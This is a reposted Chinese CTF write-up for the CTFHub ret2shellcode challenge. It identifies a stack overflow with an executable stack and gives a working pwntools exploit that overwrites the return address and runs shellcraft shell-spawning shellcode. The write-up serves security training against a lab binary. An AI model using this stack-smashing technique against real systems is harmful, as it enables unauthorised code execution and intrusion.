CTFHUB Pwn ret2shellcode Writeup


題目鏈接

checksec 看一下:

沒有保護。

IDA 反匯編看一下:

可以棧溢出。

沒有 system 函數。

gdb vmmap 看一下棧是可執行的:

可以把 shellcode 放在返回地址之后,然后把返回地址指向 shellcode。

exp 如下:

from pwn import *
import re

# context.log_level = "debug"
context.arch = 'amd64'

p = process("./pwn")

buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15: -1], 16)  # buf 的地址
shellcode_addr = buf_addr + 32  # shellcode 的地址 = buf與rbp的距離16 + rbp的寬度8 + 返回地址的長度8


shellcode = asm(shellcraft.sh())

payload = b'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM